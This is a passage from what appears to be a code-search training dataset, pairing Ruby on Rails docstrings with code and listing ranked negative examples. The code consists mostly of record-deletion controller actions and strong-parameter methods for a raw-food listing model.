"def destroy\n # @recipe = Recipe.find(params[:id])\n # @recipe.destroy\n #\n destroy! do |format|\n # format.html { redirect_to recipes_url }\n # format.json { head :ok }\n end\n end",
"def destroy\n @food.destroy\n\n respond_to do |format|\n format.html { redirect_to(foods_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @data = @recipe.delete(params[:id])\n render json: @data\n end",
"def destroy\n @saved_food = SavedFood.find(params[:id])\n @saved_food.destroy\n\n respond_to do |format|\n format.html { redirect_to(saved_foods_url) }\n format.xml { head :ok }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foo = Foo.find(params[:id])\n @foo.destroy\n\n respond_to do |format|\n format.html { redirect_to foos_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @fooddiary.destroy\n respond_to do |format|\n format.html { redirect_to food_fooddiaries_url(@food.id) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @campus_food = CampusFood.find(params[:id])\n @campus_food.destroy\n\n respond_to do |format|\n format.html { redirect_to campus_foods_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @foam = Foam.find(params[:id])\n @foam.destroy\n\n respond_to do |format|\n format.html { redirect_to foams_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @foaf.destroy\n\n respond_to do |format|\n format.html { redirect_to foafs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foaf.destroy\n\n respond_to do |format|\n format.html { redirect_to foafs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food.destroy\n respond_to do |format|\n format.html { redirect_to foods_url, notice: 'Food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food.destroy\n respond_to do |format|\n format.html { redirect_to foods_url, notice: 'Food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food.destroy\n respond_to do |format|\n format.html { redirect_to foods_url, notice: 'Food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def deletef\n url = prefix + \"deletef\" + id_param\n return response(url)\n end",
"def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end",
"def destroy\n self.class.mongo_client.database.fs.find(:_id=>BSON::ObjectId.from_string(@id)).delete_one\n end",
"def destroy\n @animal_food.destroy\n respond_to do |format|\n format.html { redirect_to animal_foods_url, notice: \"Animal food was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roof = Roof.find(params[:roof_id])\n @status = @roof.statuses.find(params[:id])\n @status.destroy\n\n respond_to do |format|\n format.html { redirect_to statuseses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fascicle.destroy\n respond_to do |format|\n format.html { redirect_to fascicles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def destroy\n @food_truck.destroy\n respond_to do |format|\n format.html { redirect_to food_trucks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n \tself.class.mongo_client.database.fs.find(:_id => BSON::ObjectId(@id)).delete_one\n end",
"def destroy\n @type_food.destroy\n respond_to do |format|\n format.html { redirect_to type_foods_url, notice: 'Type food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food.destroy\n @food.image.destroy\n @j = Joint.where(food_id: @food.id)\n if @j == true\n @j.destroy_all\n end\n respond_to do |format|\n format.html { redirect_to foods_url, notice: 'Food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @cephalopod.destroy\n respond_to do |format|\n format.html { redirect_to cephalopods_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customf.destroy\n respond_to do |format|\n format.html { redirect_to customfs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @adocao_animal = AdocaoAnimal.find(params[:id])\n @adocao_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to adocao_animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n\t\tif food = FoodItem.find(params[:id])\n\t\t\tfood.destroy\n\t\t\thead :no_content\n\t\tend\n\tend",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @recipe.destroy\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe.destroy\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe.destroy\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe.destroy\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe.destroy\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def delete\n \n end",
"def destroy\n @food_item.destroy\n respond_to do |format|\n format.html { redirect_to food_items_url, notice: \"Food item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n rid = params['id']\n if Aws.delete_recipe(rid) && Aws.delete_all_ingredients(rid)\n msg = {:notice => \"Recipe deleted!\"}\n render :json => msg\n else\n msg = {:notice => \"Error while deleting from DynamoDB!\"}\n render :json => msg\n end\n end",
"def destroy\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @anything.destroy\n respond_to do |format|\n format.html { redirect_to anythings_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe_all = RecipeAll.find(params[:id])\n @recipe_all.destroy\n\n respond_to do |format|\n format.html { redirect_to recipe_alls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foodlog = Foodlog.find(params[:id])\n @foodlog.destroy\n\n respond_to do |format|\n format.html { redirect_to foodlogs_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @foiltype = Foiltype.find(params[:id])\n @foiltype.destroy\n\n respond_to do |format|\n format.html { redirect_to foiltypes_url }\n format.json { head :ok }\n end\n end",
"def delete_item(item_id)\n response = Unirest.delete CONNECT_HOST + '/v1/' + LOCATION_ID + '/items/' + item_id,\n headers: REQUEST_HEADERS\n\n if response.code == 200\n puts 'Successfully deleted item'\n return response.body\n else\n puts 'Item deletion failed'\n puts response.body\n return nil\n end\nend",
"def recipe_delete # /v1/user/:id/recipes/:recipe_id (DELETE)\n params[:recipes] = params[:recipe_id]\n recipes_delete\n end",
"def destroy\n @dish_mood.destroy\n respond_to do |format|\n format.html { redirect_to dish_moods_url }\n format.json { head :no_content }\n end\n end",
"def delete(*rest) end",
"def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @duck.destroy\n\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n begin\n recipe = Recipe.find(params[:id])\n\n recipe.destroy\n render json: { status: 'SUCCESS', message: 'Recipe deleted!', data: recipe }, status: :ok\n rescue\n render json: { status: 'ERROR', message: 'Error finding recipe', data: {} }, status: :not_found\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @duck.destroy\n respond_to do |format|\n format.html { redirect_to ducks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @foil = Foil.find(params[:id])\n @foil.destroy\n\n respond_to do |format|\n format.html { redirect_to foils_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @foobar = Foobar.find(params[:id])\n @foobar.destroy\n\n respond_to do |format|\n format.html { redirect_to foobars_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n Track.destroy(params[:id])\n delete_file BSON::ObjectId(params[:id])\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n path = relativize_path path\n\n Precog.connect self do |http|\n uri = Addressable::URI.new\n uri.query_values = { :apiKey => api_key }\n\n http.delete \"/ingest/v#{VERSION}/fs/#{path}?#{uri.query}\"\n end\n end",
"def destroy\n @recipe = Recipe.find(params[:id])\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe = Recipe.find(params[:id])\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe = Recipe.find(params[:id])\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe = Recipe.find(params[:id])\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @recipe = Recipe.find(params[:id])\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render :json => @fiestas.delete_at(params[:id].to_i)\n end",
"def destroy\n Todo.find(params[:id]).destroy\n render :json => {:message => \"Record deleted\", :item_id => params[:id]}\n end",
"def destroy\n @recipe = Recipe.find(params[:id])\n @recipe.destroy\n\n respond_to do |format|\n format.html { redirect_to recipes_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @foo71.destroy\n respond_to do |format|\n format.html { redirect_to foo71s_url, notice: \"Foo71 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete_item(id)\n record \"/todos/delete_item/#{id}\"\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @store_detail = StoreDetail.find(params[:store_detail_id])\n @food = Food.find(params[:id])\n @food.destroy\n respond_to do |format|\n format.html { redirect_to store_detail_foods_path(@store_detail), notice: 'Food detail was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @food_item.destroy!\n head :no_content\n end",
"def destroy\n @foo73.destroy\n respond_to do |format|\n format.html { redirect_to foo73s_url, notice: \"Foo73 was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def delete\n\n end",
"def destroy\n @done_food.destroy\n respond_to do |format|\n format.html { redirect_to done_foods_url, notice: 'Done food was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @unit.destroy\n respond_to do |format|\n format.html { redirect_to new_food_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @animal.destroy\n\n respond_to do |format|\n format.html { redirect_to animals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruby = Ruby.find(params[:id])\n @ruby.destroy\n\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def delete!( opts = {} )\n http_action :delete, nil, opts\n end",
"def destroy\n @status_animal = StatusAnimal.find(params[:id])\n @status_animal.destroy\n\n respond_to do |format|\n format.html { redirect_to status_animais_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @flat.destroy\n\n respond_to do |format|\n format.html { redirect_to flats_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6853021",
"0.6853021",
"0.68415916",
"0.67407715",
"0.6728383",
"0.66623205",
"0.66603744",
"0.6655749",
"0.65936875",
"0.6577978",
"0.65777415",
"0.6572667",
"0.65724736",
"0.65669763",
"0.65552306",
"0.6555091",
"0.6550582",
"0.65429556",
"0.653768",
"0.6510496",
"0.6510473",
"0.6500522",
"0.6499094",
"0.64987147",
"0.64987147",
"0.64936876",
"0.64936876",
"0.64936876",
"0.6488791",
"0.6468801",
"0.6468801",
"0.6465414",
"0.6464628",
"0.6462583",
"0.64624304",
"0.64520615",
"0.6451911",
"0.6449132",
"0.6431295",
"0.6411255",
"0.6405664",
"0.6405664",
"0.6405664",
"0.6405664",
"0.6401889",
"0.639313",
"0.63897216",
"0.63866603",
"0.63857234",
"0.6383026",
"0.63823926",
"0.63823926",
"0.63823926",
"0.63823926",
"0.63823926",
"0.63756776",
"0.6370576",
"0.63641894",
"0.6363919",
"0.6363914",
"0.6362385",
"0.6361884",
"0.6360756",
"0.63605976",
"0.63603306",
"0.6359735",
"0.6355476",
"0.6354559",
"0.6351862",
"0.6348543",
"0.6344555",
"0.6342347",
"0.6342032",
"0.6341455",
"0.6340665",
"0.63402",
"0.6339196",
"0.6335022",
"0.6335022",
"0.6335022",
"0.6335022",
"0.6335022",
"0.63316774",
"0.6315969",
"0.6314767",
"0.6314126",
"0.63137156",
"0.63129026",
"0.63044727",
"0.63043964",
"0.63043743",
"0.63018864",
"0.63014597",
"0.62991214",
"0.6298038",
"0.6297853",
"0.62954897",
"0.62933725",
"0.62913305",
"0.62820953"
] |
0.71584624
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def set_raw_food
@raw_food = RawFood.friendly.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def raw_food_params
params.require(:raw_food).permit(:logo, :brand_name, :general_contact_number, :general_email, :website_online_ordering_page, :facebook_page, :instagram_handle, :featured_image, :self_collection_address, :question_1, :expiry_date, :halal_expiry, :draft, :verified, :merchant_id, :listing_id, :product_qualifying_type_id, :opening_hours_attributes => [:id, :day_id, :open, :close, :_destroy], :rewards_attributes => [:id, :discount_id, :terms], :menus_attributes => [:id, :image, :name, :description, :price], :verifying_documents_attributes => [:id, :document], ordering_method_ids: [], delivery_location_ids: [], raw_food_product_category_ids: [], online_retail_service_type_ids: [])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
